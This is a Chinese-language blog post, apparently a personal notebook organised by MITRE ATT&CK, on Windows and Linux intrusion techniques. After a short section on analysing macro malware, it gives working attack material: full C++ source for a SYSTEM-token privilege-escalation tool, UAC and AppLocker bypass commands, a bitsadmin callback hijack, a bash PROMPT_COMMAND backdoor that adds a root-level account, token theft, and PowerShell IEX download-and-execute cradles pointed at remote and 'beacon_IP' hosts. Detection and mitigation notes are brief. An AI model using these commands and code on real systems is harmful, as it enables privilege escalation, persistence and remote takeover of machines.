Andrew.Hann ATT&&CK Intrusion Detection TTP【v1.0】

【本博客为纯技术研究,目的在于帮助组织和单位进行安全保护,不涉及非法攻击方面目的。本网站使用者因为违反本声明的规定而触犯中华人民共和国法律的,一切后果自己负责,本网站不承担任何责任】

https://lolbas-project.github.io/

https://attack.mitre.org/ 

0. 初始访问(Initial Access)

0x1:宏病毒钓鱼邮件

1. 原理介绍

MD5 ab74ee2373229626fe368a83d98f2a47
SHA-1   3a81e0b834b112e803f407841fa4fbf90b5f7cd1
SHA-256 28aa4befb3975daf2f48ec2427370773506d0dee9d1f07a7d8c8b0b3ffde12dd

所谓宏病毒,简单来说就是指包含了宏代码(VBA、JS)的文档。打开一个包含宏代码的.doc文档,默认发现弹出了“安全警告”,文本中内容提示用户要点击“启用内容”才能看到文件内容,用户单击“启用内容”就会运行宏,并感染病毒:

宏代码以stream流的形式保存在word等文档文件中,这是微软提出的一种OLE文件(复合文件二进制格式)形式,允许不同的组件复合在同一个office文档中,本意是提高office文档的可编程性和可交互性。

但是众所周知,功能误用即漏洞,攻击者也同样大量利用这项技术,通过office宏病毒进行病毒传播。

需要使用二进制流的方式从文档中提取宏代码,基本原理如下:

  • VBA的源码是使用olevba从MS Office中提取出来
  • 代码是使用pyparsing定义的VBAgrammar解析的,VBA grammar来源于官方的说明文档MS-VBAL
  • 解析器将VBA代码转换成一个结构化的对象模型(python对象)
python oledump.py -v ./sample.doc

这是oledump对doc文件的最基础的分析,显示了这个文件的Stream数据,一共包含14段,其中8、9的段数据上标记了字母‘M’,表示这段数据中含有VBA宏(Macro)。 

python oledump.py -s 8 -v ./sample.doc
python oledump.py -s 9 -v ./sample.doc

2. 宏病毒分析方法

1)自动执行

宏病毒分析的第一步是定位自动执行入口。宏病毒具有自动执行的特性,特别是含有AutoOpen的宏,一旦用户打开含有宏的文档,其中的宏就会被执行,而用户一无所知。

宏病毒的激发机制有三种:

  • 利用自动运行的宏
  • 修改Word命令
  • 利用Document对象的事件

宏病毒中常用的自动执行方法有两种:

  • 一种是用户执行某种操作时自动执行的宏,如Sub botton()。当用户单击文档中的按钮控件时,宏自动执行
  • 另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行

2)隐秘执行 

宏病毒利用几行代码就可以实现隐秘,宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏: 

  • On Error Resume Next:如果发生错误,不弹出错误对话框
  • Application.DisplayStatusBar = False:不显示状态栏,避免显示宏的运行状态
  • Options.SaveNormalPrompt = False:修改公用模板时在后台自动保存,不给任何提示
  • EnableCancelKey = wdCancelDisabled:使不可以通过ESC键取消正在执行的宏
  • Application.ScreenUpdating = 0:不让屏幕更新,让病毒执行时不影响计算机速度
  • Application.DisplayAlerts = wdAlertsNone:不让Excel弹出报警信息
  • CommandBars(“Tools”).Controls(“Macro”).Enabled = 0:屏蔽工具菜单中的“宏”按钮
  • CommandBars(“Macro”).Controls(“Security”).Enabled = 0:屏蔽宏菜单的“安全性”
  • CommandBars(“Macro”).Controls(“Macros”).Enabled = 0:屏蔽宏菜单的“宏”
  • CommandBars(“Tools”).Controls(“Customize”).Enabled = 0:屏蔽工具菜单的“自定义”
  • CommandBars(“View”).Controls(“Toolbars”).Enabled = 0:屏蔽视图宏菜单的“工具栏”
  • CommandBars(“format”).Controls(“Object”).Enabled = 0:屏蔽格式菜单的“对象”

3)调用外部例程和命令执行 

宏病毒的强大主要来自与对Windows API和外部例程的调用,本质上是利用了脚本语言的编程可扩展性,

  • MSXML2.ServerXMLHTTP:Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求
  • Net.WebClient:提供网络服务
  • Adodb.Stream:Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
  • Wscript.shell:WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量
  • Poweshell:PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境
  • Application.Run:调用该函数,可以运行.exe文件
  • WMI:用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程
  • Shell.Application:能够执行sehll命令

4)字符串隐写

Chr()函数
Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112) &Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & “t” & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & “e” & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & “4″ & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

Replace()函数
Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), “”), Chr(61), “”), Chr(59), “”)

Relevant Link: 

https://zhuanlan.zhihu.com/p/23001525
https://www.freebuf.com/articles/system/103309.html
https://github.com/DidierStevens/DidierStevensSuite
https://www.cnblogs.com/ichunqiu/p/8659004.html

 

1. 提权操作

0x1:通过创建服务获得System权限

在渗透测试中,某些情况下需要用到system权限,例如操作注册表:

HKEY_LOCAL_MACHINE\SAM\SAM

这里介绍几种从admin权限提权到system权限的方法,它们本质上是采用了“劫持启动”的思想,通过创建一个系统任务,劫持系统以一个system权限来执行任意的目的

1. 通过 sc 命令

sc Create TestService1 binPath= "cmd /c start" type= own type= interact
sc start TestService1

创建服务后,启动该服务,会遇到报错,点击“查看消息”可以得到另一个类似screen的会话界面中,在那里已经是system权限了

需要注意的是,通过sc创建服务必须要有administrator权限,普通账户(非administrators组)是无法创建服务的

2. 通过计划任务(at.exe、schtasks.exe)

使用at命令(默认以system权限启动):

# Create a recurring task to execute every day at a specific time.
C:\Windows\System32\at.exe at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe

at 11:24 notepad.exe

注意,at启动的任务默认是非交互模式,如果希望以交互模式启动新进程和指令,还可以使用schtasks命令:

创建服务,以system权限启动:

schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM

查看服务状态:

schtasks /Query /TN TestService2

删除服务:

schtasks /Delete /TN TestService2 /F

使用schtasks创建服务后记得手动删除

https://bl4ck.in/penetration/2017/03/20/windows%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%9D%82%E8%B0%88.html

3. 利用psexec

psexec.exe可以被用来向远程服务器执行程序和指令,也可以被用在本地执行进程指令

psexec.exe -accepteula -s -i -d notepad.exe
-s    Run the remote process in the System account. 
-i    Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session.
-d    Don't wait for process to terminate (non-interactive).

要注意的是,使用psexec会创建PSEXESVC服务,产生日志Event 4697、Event 7045、Event 4624和Event 4652,所以也同样要求有administrator权限启动,否则会遇到报错

4. 利用win32 API创建服务 - 新建一个system权限的cmdline shell

和上面的sc和schtasks方法本质是一样的,都是利用了“劫持思想”,利用新建服务的进程权限都是system这一优势获得一个system的shell,大体上的过程描述如下:

1. 新建一个services stup exe,逻辑很简单,只要实现windows service的基本接口,在start逻辑里负责向named pipe中随意写入一些bytes,目的是激活named pipe
2. 真正的提权exe,要负责创建一个named pipe,同时连接上去,和services stup exe互通
3. 通过ImpersonateNamedPipeClient、DuplicateTokenEx从services stup exe拷贝出system token
4. 然后调用CreateProcessAsUser基于已获得的token创建一个新cmd.exe shell进程,进行本地提权

主体逻辑代码:

// elevate.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#define SERVICE_EXE "getsystem_service.exe"
#define SERVICE_NAME "Elevate"
#define PIPE_PATH "\\\\.\\pipe\\elevate"

void PrintIntro(void) {
    printf("\n GetSystem-Offline\n");
}

int main()
{
    char directory[_MAX_PATH];
    char servicePath[_MAX_PATH];
    char serviceName[128];
    char recv[1024];
    DWORD bytes;
    bool connected;
    HINSTANCE hinst;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    HANDLE token;
    HANDLE newtoken;
    HANDLE ptoken;

    PrintIntro();

    // 创建一个named pipe命名管道, 命名管道是双向的
    HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH, 
        PIPE_ACCESS_DUPLEX, 
        PIPE_TYPE_MESSAGE | PIPE_WAIT, 
        PIPE_UNLIMITED_INSTANCES, 
        1024, 
        1024, 
        0, 
        NULL
        );

    if (namedPipe == INVALID_HANDLE_VALUE) {
        printf("[!] Could not create named pipe\n");
        return 0;
    }
    else {
        printf("[*] Named pipe created: %s\n", PIPE_PATH);
    }
    
    srand(GetTickCount());
    // 指定要新建的服务的启动进程路径, 该进程只要连接上刚才创建的named pipe命名管道, 并往里随便写一些内容即可, 即激活named pipe的一头
    GetModuleFileNameA(LoadLibraryA(SERVICE_EXE), servicePath, sizeof(servicePath));
    snprintf(serviceName, sizeof(serviceName), "%s%d%d", SERVICE_NAME, rand(), rand());

    printf("[*] Creating service %s\n", serviceName);
    // 安装服务
    if (!ServiceInstall(servicePath, serviceName)) {
        printf("[!] Error creating service\n");
        return 0;
    }
    else {
        printf("[*] Service installed (%s)\n", serviceName);
    }
    // 调用服务的启动进程内部指定的start()回调方法, 以system的权限启动该进程
    if (!ServiceStart(serviceName)) {
        printf("[!] Error starting service\n");
        return 0;
    }
    else {
        printf("[*] Service started (%s)\n", serviceName);
    }
    
    // connect to the name pipe, waiting for others connected
    // 连接上named pipe的另一头
    connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
    
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (connected) {
        for (;;) {
            printf("[*] Waiting for pipe connection...\n");

            ZeroMemory(recv, sizeof(recv));

            // We need to read data before Windows allows us to impersonate the caller
            // 读取刚才创建并启动的服务进程向named pipe中写入的字节, 恢复named pipe的阻塞状态
            ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);

            printf("[*] Read %d Bytes: %s\n", bytes, recv);

            printf("[*] Attempting to impersonate client\n");
            // 通过ImpersonateNamedPipeClient()复制named pipe对端进程的token令牌权限, 即system权限
            if (ImpersonateNamedPipeClient(namedPipe) == 0) {
                printf("[!] Error impersonating client\n");
                return 0;
            }

            // We no longer need the service
            if (!ServiceStop(serviceName)) {
                printf("[!] Error stopping service\n");
            }
            else {
                printf("[*] Service cleaned up\n");
            }

            if (!ServiceDelete(serviceName)) {
                printf("[!] Error deleting service\n");
                printf("[!] Please manually remove service using 'sc delete %s'", serviceName);
            }

            
            if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
                printf("[!] Error opening thread token\n");
            } 

            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {
                printf("[!] Error opening process token\n");
            }
            
            // 复制system token令牌
            if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
                printf("[!] Error duplicating thread token\n");
            }
            
            printf("[*] Impersonated SYSTEM user successfully\n");
            // 以system token创建新进程, 进程命令行是启动一个cmd.exe, 即获得一个本地shell, 这里理论上也可以创建一个远程反弹shell
            if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
                printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());

                ZeroMemory(&si, sizeof(si));
                si.cb = sizeof(si);
                ZeroMemory(&pi, sizeof(pi));

                // Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c)
                if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
                    printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError());
                    return 0;
                }
            }

            printf("[*] All Done.. enjoy... press any key to finish\n");
            getchar();

            return 0;
        }
        
    }
    return 0;
}
View Code

github link

https://github.com/LittleHann/getsystem-offline

0x2:利用bitadmins启动system权限新进程

我们知道,bitadmins是用于文件下载的windows系统内置指令,但同时它还具有另一个方便的能力就是:“下载完毕后触发一次执行执行回调,并且是system权限”,这就给提权带来了便利,这也再次印证了一句话:功能越多,攻击向量越多。

1. 借助bitadmins的回调执行功能启动新进程,跳过文件下载环节

bitadmins只有在文件下载成功后,才能接着执行其中的cmd命令,但是为了缩短执行命令的时间,减小下载文件的流量,可以把文件设置为本地文件,这样就可以跳过文件下载的环节,直接执行一个指令

bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor "%COMSPEC%" "cmd.exe /c regedit.exe" 
bitsadmin /Resume backdoor

2. 劫持其他应用的bitadmins任务,向其GetNotifyCmdLine中植入恶意代码

我们知道,bitadmins是系统updates底层使用的下载支持服务,除此之外,像chrome这种应用也会使用bitadmins进行应用更新,因此,我们可以通过劫持这些应用的回调GetNotifyCmdLine,向其中注入我们定制的代码,这样,每当应用进行升级或升级检查的时候,就会触发我们的evil code。

# 查看现在都有哪些应用创建了bisadmins任务
bitsadmin /list /allusers /verbose

bitsadmin /GetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044}
# 发现回调任务为空
# the notification command line is 'NULL' 'NULL'
# 给任务添加GetNotifyCmdLine
bitsadmin.exe /SetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044} "%COMSPEC%" "cmd.exe /c calc.exe" 
 
# 查看GUID
bitsadmin /GetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044}

添加成功

Relevant Link: 

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
https://blog.xpnsec.com/becoming-system/
https://www.tuicool.com/articles/rqe63q

0x3:突破AppLocker限制

AppLocker本质上是一个“黑/白名单机制框架”,相比黑名单,白名单是它的主流用法,AppLocker 为管理员提供指定哪些用户可以运行特定应用程序的能力。AppLocker 允许管理员控制下列类型的应用程序:

  • 可执行文件
    • .exe
    • .com
  • 脚本文件
    • .js
    • .ps1
    • .vbs
    • .cmd
    • .bat
  • Windows Installer 文件
    • .msi
    • .msp
  • DLL 文件
    • .dll
    • .ocx

这样基于“非白即黑”的基线判断框架,降低来自运行了不适当应用程序的风险

1. AppLocker的局限性

  • AppLocker无法控制内存中正在运行的进程:利用一些可信的进程或使用反射注入技术就可以做到绕过
  • DLL劫持: 除非你有严格的DLL AppLocker规则,否则你就可以DLL劫持信任的应用程序。
  • 它不能控制Office宏
  • 它不能控制HTML应用程序(.hta应用)
  • 白名单控制粒度过大导致绕过
    • 例如我们配置了只允许C:/Windows/目录下的进程执行,但是黑客有可能有权限向这个目录下写入自己的恶意程序,从而绕过AppLocker限制启动新进程。可以用这个脚本来探测C:\Windows\*下可写目录的可执行情况
  • AppLocker是针对非管理员账户的应用程序实行限制的
    • 如果你有本地管理员权限,你可以添加一个本地规则允许所有的东西都可以执行。这就会重写所有基于域的策略
  • 利用系统原生白名单进程:
    • 通过rundll32调用javascript代码并执行任意代码
    • 通过regsvc32.exe执行sct代码

2. 绕过Applocker的一些方式

1)Placing files in writeable paths

C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

2)rundll32.exe

参考后面”Defense Evasion“章节。

3)InfDefaultInstall

4)msconfig

msconfig即系统配置实用程序,是Microsoft System Configuration的缩写。

在“C:\Windows\System32\mscfgtlc.xml”新建xml文件,

<?xml  version="1.0" ?>
<MSCONFIGTOOLS>
<a NAME="LOLBin" PATH="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe"
DEFAULT_OPT="-command calc.exe " 
HELP="LOLBin MSCONFIGTOOLS"/>
</MSCONFIGTOOLS>

启动CMD :

msconfig -5

找到LOLBin一栏 点击启动 触发条件。 

5)DXCap.exe 

DXCap.exe -c C:\Windows\System32\notepad.exe

6)Register-cimprovider.exe

Register-cimprovider -path "C:\folder\evil.dll"

7)Bginfo.exe

对于一位 Windows Server 的系统运维人员或经常做项目的 IT Pro,除 Powershell 外,肯定也经常 RDP 连接到很多不同的服务器。当需要在多台不同服务器之间进行切换时,很容易就搞得很混乱。BGinfo 就是解决这一难题的一大利器,其同样出自 Sysinternals 套件,可以自动在桌面的一个区域中显示当前登录或远程连接系统的信息,同样也适用于普通 Windows 用户。

除双击使用界面模式外,Bginfo 还是一个命令行程序,只要配合好事先创建的 .bgi 配置文件即可无界面使用。

  • /TIMER 参数,将其设置为 0 是立即应用配置的意思
  • /SILENT 是在出错时保持静默
  • /NOLICPROMPT 用于指定在首次使用时不显示 EULA 信息
  • /POPUP 和 /TASKBAR 是用于系统托盘和弹出系统信息的开关 
bginfo.exe bginfo.bgi /popup /nolicprompt
# Execute VBscript code that is referenced within the bginfo.bgi file.

"\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
# Execute bginfo.exe from a WebDAV server.

"\\live.sysinternals.com\Tools\bginfo.exe" \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
# This style of execution may not longer work due to patch.

C:\BgInfo2K8R2\bginfo.exe  C:\BgInfo2K8R2\BgInfo.bgi /TIMER:0
C:\tools\bginfo.exe c:\tools\wallpaper.bgi /timer:0

Relevant Link: 

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Bginfo.exe.md
https://www.sysgeek.cn/bginfo/

8)Fsi.exe

fsi.exe c:\folder\d.fscript
# Use fsi.exe to run unsigned F# code.

9)Ieexec.exe

IEExec.exe应用程序是一个未记录的Microsoft.NET框架应用程序,它包含在.NET框架中。攻击者可以使用IEExec.exe应用程序作为主机来运行其他托管应用程序,这些应用程序是从使用URL开始的。

# Downloads and executes bypass.exe from the remote server.
ieexec.exe http://x.x.x.x:8080/bypass.exe

3. 缓解旁路绕过

一些绕过可以通过正确的配置来改善和缓解:

  • 撤销Windows文件夹和Program Files里用户的可写权限或者把所有用户可写文件添加到Exceptions里
  • 给mshta.exe创建黑名单,可以终止HTML应用程序的执行
  • 如果你和你的用户都不使用任何需要用到powershell.exe,CMD.EXE,Cscript.exe的脚本,给它们加黑名单也会起到作用,但如果需要,就不要这样做,因为可能会破坏到登录脚本或一些自动化的功能。注意一下,PowerShell可以通过任何网络应用程序直接调用,所以也给PowerShell的dll加黑名单(C:\Program Files (x86)\Reference。 Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll)或给未知的可执行文件和powershell.exe加黑名单

Relevant Link:  

https://technet.microsoft.com/zh-cn/library/dd759117(v=ws.11).aspx
http://www.freebuf.com/sectool/93632.html
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

0x4: 利用组策略提升权限

1. 开启AlwaysInstallElevated特权安装功能

利用组策略可以实现权限提升

开启AlwaysInstallElevated特权安装功能:

  • 打开组策略编辑器

  • 用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用

  • 计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用

此时会在注册表如下位置自动创建键值:

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

如果我们获得了对注册表的访问权限,可以通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 值全为1代表开启AlwaysInstallElevated,否则未开启

接下来可以使用powerup powershell tookkit生成对应的.msi程序,完成提权添加用户的操作:

# 将Privesc拷贝至"$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
# 导入moduel: 
Import-Module Privesc
# 检查是否开启AlwaysInstallElevated:
Get-RegistryAlwaysInstallElevated
# 返回true代表系统开启AlwaysInstallElevated 
# 利用AlwaysInstallElevated添加用户
Write-UserAddMSI
# 运行后生成文件UserAdd.msi
# 以普通用户权限运行这个UserAdd.msi,成功添加账户 

Relevant Link: 

https://3gstudent.github.io/3gstudent.github.io/渗透测试中的msiexec/

0x5:CVE提权漏洞

1. Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)

目标:

Win7-Win10 & 2k8-2k12 <== 32/64 bit!

Tested on x32 Win7, x64 Win8, x64 2k12R2

1.下载 https://www.exploit-db.com/exploits/39574/ 或下载https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1并保存为 ms16-032.ps1
2. 打开CMD 后,在其内输入 powershell -ExecutionPolicy Bypass
3. Import-Module ms16-032.ps1
4. Invoke-ms16-032

# 或者直接使用powershell远程下载ps1文件下载并执行

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user'"

Relevant Link:

https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html#comment-375
http://www.2bowl.info/ms16-032-windows本地提权/

0x6:UAC提权

自Windows Vista开始,微软引入了完整性级别概念,用于防止”权限滥用“,权限由高到低分为

1. 系统级(system)
2. 管理员(High): 在Windows Vista之前的系统,默认创建的管理员账户即对应完整管理员(High)级别,这个级别基本没有限制,导致可以任意添加计划任务,写关键路径,读写关键注册表、创建服务、加载驱动等等
3. 用户(Medium): 从Windows Vista开始创建的管理员账户均在用户(Medium)级别,当UAC(默认)开启的情况下,这个级别会有很多限制,仅当程序请求管理员权限,或是触发条件则弹窗询问用户授权。
4. 受限(Low): 受限(Low)被应用于IE浏览器作为保护模式使用,其直接访问网页的进程会通过Host主进程代理操作系统资源,只有在Temp、Temporary、Internet Files、Cookies和Favorites目录下的几个特定低完整性目录可以进行写操作,同时启动其他进程时弹窗询问用户。

其设计模型来自于Biba完整性模型基础上的上不可写,下不可读原则来保护数据完整性

但是,由于由于微软出于兼容性、用户体验等的考虑,为减少UAC弹窗,设定了自动提权的机制,满足以下两个条件的程序,会自动提升权限

1. 必须经过 Windows Publisher 数字签名
2. 必须位于”安全目录“中,其中”安全目录“指的是普通用户(Medium)无权修改的,包括
    1) %SystemRoot%\System32(例如,\Windows\System32)
    2) 及其大多数子目录、%SystemRoot%\Ehome
    3) 以及 %ProgramFiles% 下的少许目录(其中包括 Windows Defender 和 Windows 日记本)

the more function, the more bug!!!

基于这个原理,绕过UAC的方法的核心思想可以归纳为以下几点:

1. 我们要充分利用基于Windows设定的"自动提升"机制,因为只有这个唯一的通道是可以避开UAC的。
2. 我们显然不能或者非常难可以获得微软publisher的签名,所有只有寻找那些被系统“认可”的“具备自动提升权限”的程序去尝试“注入”或“劫持”,而“注入”这些核心进程是非常困难的,因此剩下的可探索的方向就是“劫持了”
3. 我们首先需要列出系统上存在的具备“自动提升权限”的进程,并找到它们存在dll的目录及文件名,这些dll文件名就是我们将要劫持替换的文件。
4. 这里还会遇到另一个问题,系统程序所在的目录往往都是核心目录,向这种目录写入dll同样是一个困难,这里我们依然需要使用“劫持”思想,寻找某个系统原生的程序,利用它的某个功能,实现dll的释放和替换。

1. DLL劫持方法讨论

现在,将DLL复制到 sysprep目录,我们需要进行权限提升。实现这一目的的两种最流行的方式是:使用一个IFileOperation COM对象,或者使用Wusa.exe和它的“extract”选项。目前,Invoke-PsUACme使用的是Wusa方法。因为Wusa设置为了自动提升,所以我们可以用它来提取一个cab文件到sysprep目录。

我们举一个具体的手工操作例子:

# 通过makecab生成一个cab文件,cab中包含我们指定的恶意dll文件
makecab C:\your_dll_path.dll C:\any_path_is_ok.cab
# 执行wusa将cab文件中的dll释放到指定目录(例如"C:\Windows\System32\Sysprep\"),这一步即是劫持的过程
& wusa C:\any_path_is_ok.cab /extract:"C:\Windows\System32\Sysprep\"

# 调用"C:\Windows\System32\Sysprep\sysprep.exe",此时该进程调用的dll会被我们完成劫持,执行我们指定的dll中的恶意代码
& C:\Windows\System32\Sysprep\sysprep.exe

使用nishang的Invoke-PsUACme可以自动完成这所有过程

Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"

我们可以手工执行该过程(需要事先上次dll文件),也可以直接利用powershell内嵌dll ascii代码完成一键提权,利用powershell的强大能力。

Relevant Link:

http://www.freebuf.com/articles/system/81286.html
https://github.com/hfiref0x/UACME
https://www.jianshu.com/p/4fe9ac0d3fc

2. 利用CMSTP配置VPN的功能误用进行UAC提权执行进程

vpn配置程序自身提供了一个功能"RunPreSetupCommandsSection",它的功能描述如下: Commands Here will be run Before Setup Begins to install,即提供在安装开始前提供了一个执行指令的回调接口。

把.inf文件放置在目录下,执行该指令

C:/Windows/System32/cmstp.exe C:\Users\Administrator\Desktop\poc\UACBypass.inf /au

指令过程中会弹出一个UI窗口需要点击确认,我们可以用powershell脚本的sendkey模拟按键来完成一键自动化UAC提权。

Relevant Link: 

https://gist.github.com/LittleHann/2de272585a5638823b5558240307c788
https://www.anquanke.com/post/id/86685
https://msitpros.com/?p=3960 

3. 注册表劫持

1)Eventvwr.exe - Displays Windows Event Logs in a GUI window

在"eventvwr.exe"启动期间,eventvwr.exe检查注册表值HKCU\Software\Classes\msc file\shell\open\command以查找mmc.exe的位置,该文件用于打开eventvwr.msc保存的控制台文件。如果将另一个二进制文件或脚本的位置添加到此注册表值,则它将作为高完整性进程执行,而不会向用户显示UAC提示。

Detection:

  • eventvwr.exe launching child process other than mmc.exe
  • Creation or modification of the registry value HKCU\Software\Classes\mscfile\shell\open\command

Relevant Link: 

https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1
https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/

0x7:利用Bash环境变量植入后门

1. PROMPT_COMMAND

PROMPT_COMMAND这个变量的内容会在现实bash提示符前执行,有点类似ld_preload劫持那种思路,我们可以通过在PROMPT_COMMAND中插入我们的evil code来实现代码注入的目的

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

Relevant Link:

https://evi1cg.me/archives/Commands.html

0x8:Token/Hash窃取与利用

1. Windows平台下通过incognito枚举token 

Windows有两种类型的Token:

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)。具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹) 

两种token都只在系统重启后清除,通过incognito.exe枚举token list

incognito.exe list_tokens -u

利用该token执行calc.exe

# 通过任务管理器查看到进程的账户名为 alihacker
incognito.exe execute -c "iZxkpes3z6p6ajZ\alihacker" calc.exe

提权至system:

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

2. 利用token获得TrustedInstaller权限

在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller

例如路径C:\Windows\servicing。使用system权限无法在该路径创建文件

查看文件夹属性,显示system不具有写入权限,只有TrustedInstaller可以

Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

借用TrustedInstaller.exe的token创建子进程,这样子进程就有了TrustedInstaller权限。

3. 利用 Windows 系统内置的域用户密钥缓存工具 cmdkey 获取令牌缓存

cmdkey /list

 

像WMIC这种指令,在向远程主机执行指令的时候,都会先默认使用缓存的凭证。攻击者可以利用本机已经缓存的令牌,直接执行指令或启动新进程,而不需要对目标账户进行任何形式的提权,就能够提升我们的访问权限。

wmic /node:TERMSRV/47.111.191.59 process call create "cmd /c calc.exe"
wmic /node:47.111.191.59 process call create "cmd /c calc.exe"
wmic /node:<TARGET-BOX process call create "cmd /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://beacon_IP/a'))\""

4. 从NTDS.dit获取密码哈希值

5. 从注册表获取SAM/NTML哈希 

Relevant Link: 

https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html 
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/
